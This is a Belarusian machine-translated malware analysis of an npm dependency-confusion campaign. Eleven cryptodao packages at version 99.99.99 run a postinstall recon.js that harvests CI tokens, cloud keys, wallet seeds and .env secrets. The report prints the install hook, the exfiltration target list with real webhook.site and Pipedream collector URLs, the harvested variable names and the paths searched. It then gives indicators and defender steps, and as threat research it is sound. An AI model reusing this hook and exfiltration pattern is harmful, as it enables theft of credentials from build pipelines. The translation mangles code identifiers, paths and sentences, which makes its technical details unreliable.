TL, д-р
17 чэрвеня 2026 года быў апублікаваны адзін уліковы запіс npm адзінаццаць пакетаў, якія маюць адну мэту і адну карысную інфармацыюДзесяць з іх нясуць cryptodao- прэфікс (cryptodao-core, -sdk, -bot, -config, -backend, -signer, -utils, -deploy, -contracts, -types); адзінаццаты — гэта абмежаваны @public-for-cdao/coreКожны з іх быў апублікаваны ў версіі 99.99.99 і адпраўляе ідэнтычны байту recon.js які працуе далей postinstall.
Назвы — гэта падказка. Яны чытаюцца як унутраныя будаўнічыя блокі прыватнага інструментарыя крыпта/DAO-праекта. Апублікаваныя ў публічным рэестры npm у штучна завышанай версіі, яны чакаюць зборкі. pipeline які настроены на вызначэнне гэтых імёнаў і які дасягае публічнага npm раней — або замест — прыватнага рэестра. Гэта блытаніна з залежнасцяміі карысная нагрузка настроена менавіта на тое месца, куды яна павінна прызямліцца: CI/CD бегуноў.
Калі postinstall пажары, recon.js збірае звесткі пра гаспадара, груба праглядае сорак зменных асяроддзя хмарных, неперарыўных і крыпта-кашалькоў, чытае любы .env файлы, якія ён можа знайсці, і перасылае сакрэтныя радкі даслоўна, а затым перадае пакет двум збіральнікам — webhook.site і канцавая кропка Pipedream — з адключанай праверкай сертыфіката TLS. Копія таксама запісана пад /tmp.
Цяжар: высокіПацярпелая экасістэма: НПМНа момант напісання гэтага артыкула ўсе адзінаццаць пакетаў былі даступныя.
Анатомія атакі
Механізм мае чатыры рухомыя часткі, і ніводная з іх не выглядае тонкай, калі вы ведаеце, паглядзіце на адзін пласт далей за назву пакета.
1. Інфляцыя версій як прынада для рэзалюцыі. Кожны пакет аб'яўляе версію 99.99.99Блытаніна з залежнасцямі ўзнікае, калі менеджар пакетаў запытвае унутраная назва, а таксама правярае публічны рэестр і выбірае найноўшую версію знаходзіць. npm выбірае па змаўчанні дыяпазон карэткі або падстаноўных знакаў найлепшая версія для кожнай настроенай крыніцы; калі абодва прыватныя рэестр і публічны адказ npm для аднаго і таго ж імя, перамагае большы нумар версіі. A 99.99.99 пераўзыходзіць па сутнасці любую рэальную ўнутраную версію праекта дасягнута, таму рэзальвер, які не прывязаны да прыватнай крыніцы, аддае перавагу публічны — і ў гэтым выпадку варожы — тэкст. Аператару не трэба ведаць рэальныя нумары версій мэты; выбар абсурднага максімуму гарантуе нічыю заўсёды прабівае сабе шлях.
2. Трыгер пасля ўсталёўкі. package.json падключае карысную нагрузку да ўстаноўкі жыццёвы цыкл:
{ "scripts": { "postinstall": "node recon.js" } } Імпарт пакета не патрабуецца. Проста ўсталёўваецца — што з'яўляецца непераўзыдзеным кампанентам. pipeline аўтаматычна — запускаецца recon.js.
3. Шырокае сакрэтнае расследаванне. recon.js збірае масіў вынікаў паэтапна:
- Кантэкст хаста: імя хаста, платформа і рэліз, архітэктура, імя карыстальніка, праца каталог.
- Зменныя асяроддзя: яна паўтарае фіксаваны спіс з прыкладна сарака імёнаў і запісаў любыя, якія ўстаноўлены. Спіс паказальны — ён спалучае агульныя токены неперасягненай канфігурацыі (CI_JOB_TOKEN, CI_REGISTRY_PASSWORD, GITLAB_ACCESS_TOKEN) і воблака паўнамоцтвы (AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN) з сакрэтамі рэестра і кантэйнера (NPM_TOKEN, DOCKER_PASSWORD, HARBOR_PASSWORD) і кластар з выразным крыптаграфічным густам: ПРЫВАТНЫ_КЛЮЧ, Мнемоніка, SEED_PHRASE, INFURA_API_KEY, КЛЮЧ_API_ALCHEMY, ETH_RPC, BSC_RPCЗапісаныя значэнні скарачаюцца да першых 50 сімвалаў.
- .env файлы: ён праглядае спіс шляхоў — .env, ../.env, /праграма/.env, /app/backend/.env, /праграма/бот/.env, /галоўная/gitlab-runner/.env, /root/.env, і .вытворчасць/.распрацоўка варыянты — і для любога існуючага файла, гэта фільтруе змесціва па радках, якія адпавядаюць КЛЮЧ|САКРЭТ|ТОКЕН|ПАРОЛЬ|ПРЫВАТНЫ|МНЕМАНІЧНЫ і ўстаўляе гэтыя радкі **цалкам, без усячэння** ў вынікі.
- Кантэкст хоста зборкі: у ім пералічаны першыя 20 запісаў /будуе/, /галоўная/gitlab-runner/зборкі/, /var/lib/gitlab-runner/, і /tmp/.
Спіс шляхоў і спіс зменных маюць перавагу ў дачыненні да запускаў GitLab, што паказвае карысная нагрузка непасрэдна на самастойную інфраструктуру неперасягненай інтэграцыі, а не на распрацоўшчыка ноўтбук. Групаванне спісу ўраджаю па катэгорыях робіць запланаваны вылов зразумелым:
| Катэгорыі | Дасягнутыя зменныя / шляхі |
|---|---|
| CI/CD ідэнтыфікацыя і разгортванне | CI_JOB_TOKEN, CI_REGISTRY_USER/PASSWORD, CI_DEPLOY_USER/PASSWORD, GITLAB_ACCESS_TOKEN, GITLAB_API_TOKEN, SSH_PRIVATE_KEY, DEPLOY_KEY |
| Воблака | AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN |
| Рэестр і кантэйнер | NPM_TOKEN, NPM_AUTH_TOKEN, DOCKER_USER/PASSWORD, HARBOR_HOST/USER/PASSWORD |
| Сховішчы дадзеных | DATABASE_URL, DB_HOST, DB_PASSWORD, REDIS_URL, REDIS_PASSWORD |
| Крыпта / блокчэйн | PRIVATE_KEY, MNEMONIC, SEED_PHRASE, INFURA_API_KEY, ALCHEMY_API_KEY, RPC_URL, ETH_RPC, BSC_RPC |
| Абмен паведамленнямі | SLACK_TOKEN, DISCORD_TOKEN |
| На дыску | .env сям'я + /home/gitlab-runner/.env, /root/.env, /app/**/.envспісы ў каталогу /builds/, /var/lib/gitlab-runner/ |
Крыптакластар — гэта тая частка, якая адрознівае гэта ад агульнага сакрэту CI. sweep: фразы-пачатковыя коды кашалька і ключы падпісання з'яўляюцца толькі ў асяроддзі a блокчэйн-праект, і яны непасрэдна адлюстроўваюцца на крыптадаа-/знак/кантрактаў найменне перавозчыкаў.
4. Падвойная эксфільтрацыя з адключанай праверкай. Сабраны масіў — гэта серыялізаваны і адпраўлены ў два пункты прызначэння:
const targets = [ { host: 'webhook.site', path: '/d6d18927-e513-4df7-b019-58bfc64fe0dd', method: 'POST' }, { host: 'enqoojbegdvxj.x.pipedream.net', path: '/', method: 'POST' }, ]; // ... https.request({ ..., rejectUnauthorized: false, timeout: 5000 }) адхіліцьНесанкцыянаванае: false адключае праверкі сертыфікатаў TLS для выходных патокаў выклікі. Тыя ж дадзеныя выводзяцца на стандартны вывад (таму яны таксама трапляюць у журналы заданняў CI) і напісана /tmp/.npm_recon_ .jsonПамылкі глытаюцца ціха, таму няўдалая адпраўка не пакідае ніякіх слядоў у выніках усталёўкі, акрамя аднаго [разведка] усталяваны на лініі.
У адным з галоўных каментарыяў да файла гэта апісваецца як «блытаніна з залежнасцямі». «Карысная нагрузка разведкі». Скарачэнне значэнняў асяроддзя да 50 сімвалаў форма доказу канцэпцыі. Што перамяшчае яго міма маяка толькі прысутнасці, дык гэта .env апрацоўка: сакрэтныя лініі перасылаюцца цалкам, а адрасаты два працоўныя калектары, якія кантралююцца зламыснікамі, а не сцёк, які толькі падлічвае хіты.
Timeline
Шаблон публікацыі — гэта подпіс аднаго скрыптаванага push-запыту, а не адзінаццаці незалежныя загрузкі.
| Час (UTC, 17.06.2026) | падзея |
|---|---|
| 03:24:58 | cryptodao-bot@99.99.99 апублікаваны |
| 03:25:01 | cryptodao-signer@99.99.99 |
| 03:25:04 | cryptodao-deploy@99.99.99 |
| 03:25:08 | cryptodao-backend@99.99.99 |
| 03:25:11 | cryptodao-contracts@99.99.99 |
| 03:25:14 | cryptodao-sdk@99.99.99 |
| 03:25:18 | cryptodao-utils@99.99.99 |
| 03:25:21 | cryptodao-core@99.99.99 |
| 03:25:24 | cryptodao-types@99.99.99 |
| 03:25:27 | cryptodao-config@99.99.99 |
| 03:49:59 | @public-for-cdao/core@99.99.99 — варыянт з аб'ёмам, ~24 хвіліны пазней |
Дзесяць пасылак былі адпраўлены на працягу 29 секунд, прыкладна па адной кожныя тры секунды. Аб'ём @public-for-cdao/core рушыла ўслед прыкладна праз 24 хвіліны — праз секунду пагадненне аб найменні для той жа мэты, у выпадку, калі праект-спажывец спасылаецца на унутраны ланцужок інструментаў у рамках вобласці бачнасці, а не пад голымі назвамі.
Паказчыкі кампрамісу
| тып | індыкатар |
|---|---|
| Калекцыянер | hxxps://webhook[.]site/d6d18927-e513-4df7-b019-58bfc64fe0dd |
| Калекцыянер | hxxps://enqoojbegdvxj[.]x[.]pipedream[.]net/ |
| Усталяваць кручок | postinstall: node recon.js |
| Перакінуты файл | /tmp/.npm_recon_<timestamp>.json |
| Маркер бярвення | [recon] <pkg>@<ver> installed on <hostname> (стандартны вывад у журналах CI) |
| Паводніцкія | rejectUnauthorized: false пры выходным HTTPS падчас усталёўкі |
| карысная нагрузка | recon.js, аднолькавы ва ўсіх адзінаццаці пакетах (адна агульная зборка) |
| версія | 99.99.99 на кожнай упакоўцы |
| Пакеты | cryptodao-core, cryptodao-sdk, cryptodao-bot, cryptodao-config, cryptodao-backend, cryptodao-signer, cryptodao-utils, cryptodao-deploy, cryptodao-contracts, cryptodao-types, @public-for-cdao/core (усе 99.99.99) |
| Выдавец | aduljune / aduljune@proton.me (адрас электроннай пошты не правераны, няма спасылкі на рэпазітар зыходнага кода) |
Атрыбуцыя і назіраная паводзіны
Усё ў кластары сведчыць пра адну перавагу. Усе адзінаццаць пакетаў былі апублікаваныя. праз уліковы запіс npm адулджун (aduljune@proton.me, няправераны адрас без звязаны зыходны рэпазітар), на працягу 25-хвіліннага прамежку часу, адначасова 99.99.99 версія, дастаўка recon.js змесціва якіх ідэнтычнае пабайт у байт ва ўсіх пакет (MD5 супадае з адзінаццаццю вынятымі копіямі). Гэта адна карысная нагрузка штампаваны ў спісе імёнаў, а не незалежнае паўторнае выкарыстанне кода.
Спіс імёнаў вызначае мэту. крыптадао-* і cdao апісаць макет прыватнага модуля крыпта/DAO-праекта і спіс збору карыснай нагрузкі люстэркі, якія здагадваюцца: разам з агульнымі сакрэтамі неперасягненай інфраструктуры і воблачных тэхналогій, гэта спецыяльна цягнецца да ПРЫВАТНЫ_КЛЮЧ, Мнемоніка, SEED_PHRASEі Ethereum/BSC RPC і ключы пастаўшчыка. .env шляхі пошуку і спісы каталогаў працуюць на базе GitLab. канкрэтны. Назіральны эфект заключаецца ў тым, што любы pipeline падманам усталявалі іх імёны перасылалі б свае токены CI, воблачныя ключы і дадзеныя на дыску .env сакрэты — і, для блокчэйн-праект, матэрыялы яго кашалька — двум староннім калекцыянерам.
Мы не робім ніякіх заяваў адносна таго, хто кіруе гэтым рахункам або што яны планавалі з ім рабіць дадзеныя. Факты, якія маюць значэнне самі па сабе: назвы арыентаваны на пэўны тып унутраны ланцужок інструментаў, карысная нагрузка счытвае і перадае рэальныя сакрэтныя значэнні, а таксама інфраструктура працавала.
Уплыў, тэндэнцыі і рэкамендацыі абаронцам
Заблытанасць з залежнасцямі застаецца эфектыўным, бо выкарыстоўвае паводзіны рэзалютара, а не уразлівасць у любой упакоўцы. Носьбіт тут трывіяльны — адзінаццаць амаль пустых пакеты — але радыус выбуху — які заўгодна pipeline памылкова аддае перавагу публічнаму npm для ўнутранай назвы. Кантралёры CI — найгоршае месца для гэтага: яны трымаюць менавіта жэтоны і .env файлы, якія чытае гэтая карысная нагрузка, і яны ўсталёўваюцца залежнасці неінтэрактыўна, таму a пасля ўстаноўкі бегае, калі ніхто не глядзіць.
Гэты кластар таксама адпавядае шаблону, які мы пастаянна назіраем: карысныя нагрузкі падчас усталёўкі, якія прадстаўляюць як «даследаванне» або «разведка» падчас рэальнага збору паўнамоцтваў. Пазнака у файле не змяняе тое, што код робіць на бегуне. Захоўваюцца два варыянты дызайну ціхая актыўнасць: кожная аперацыя ў сетцы і файлавай сістэме абгорнута апрацоўшчык выключэнняў, які адкідае памылкі, напрыклад, заблакаваную адпраўку або адсутны файл не выдае ніякіх дыягнастычных вывадаў, і адзінае, што друкуецца, — гэта адзін бяскрыўдны [рэканструкцыя] … усталявана радок, які зліваецца са звычайнай размовай падчас усталёўкі. Выкарыстанне вэбхук.сайт і Pipedream таксама наўмысна зручны — абодва бясплатныя, імгненна прадастаўляюцца паслугі захопу запытаў, таму аператару не патрэбныя серверы свае ўласныя, а пункты прызначэння выглядаюць як звычайныя імёны хастоў SaaS у журналах выхаднога сігналу.
Эканамічныя фактары робяць гэта вартым увагі абаронцы, нягледзячы на тое, што Код аператара — гэта проста. Рэгістрацыя адзінаццаці імёнаў нічога не каштуе, карысная нагрузка — адна файл капіюецца адзінаццаць разоў, і менеджар пакетаў выконвае ўсе дзеянні. Адзін няправільна настроены pipeline дзе заўгодна, хто спажывае адно з гэтых імёнаў, плаціць за ўсё аперацыя.
Канкрэтныя крокі для абаронцаў:
- Замацуйце ўнутраныя вобласці дзеяння ў сваім прыватным рэестры. Наладзьце npm, каб выкарыстоўваць унутраныя імёны
і вобласці дзеяння вырашаюцца толькі ў вашым рэестры (адлюстраванні рэестра .npmrc з абмежаванай вобласцю дзеяння, або проксі-сервер, які ніколі не падключаецца да публічнага npm для ўласных прастор імёнаў). Зарэзервуйце імёны вашых публічных абласцей дзеяння, каб ніхто іншы не мог іх зарэгістраваць.
- Commit блакіроўкі файлаў і ўсталёўка з дапамогай –ignore-scripts у КІ дзе гэта магчыма, або праверыць невялікі набор залежнасцей, якія сапраўды патрабуюць усталёўкі скрыптоў. recon.js не можа працаваць, калі пасля ўстаноўкі не выконваецца.
- Апрацоўваць 99.99.99 (ці іншую абсурдна высокую) версію назвы, якая выглядае як унутраная як чырвоны сцяг пры праглядзе залежнасцей і маніторынгу рэестра.
- Папярэджанне аб выхадзе падчас усталёўкі. A пасля ўстаноўкі які адкрывае выходны HTTPS-сервер падключэнне — асабліва з адключанай праверкай сертыфікатаў — да webhook.site, Pipedream або падобныя сэрвісы захопу запытаў варта блакаваць на мяжы сеткі і пазначаць іх у журналах зборкі.
- Палюйце за артэфактамі. Праверце бегуноў на наяўнасць /tmp/.npm_recon_*.json і для [recon] … усталяваны на … маркер у апошніх журналах CI. Калі знойдзены, паварочваць кожны паўнамоцтвы, якія падвяргаюцца гэтаму pipeline — CI-токены, хмарныя ключы, токены рэестра і любыя насенне кашалькоў або прыватныя ключы, якія прысутнічаюць у асяроддзі або файлах .env.
Спасылкі
На момант напісання артыкула знешніх справаздач па гэтым кластары не існавала; аналіз вышэйпаказанае непасрэдна заснавана на апублікаваным змесце пакета




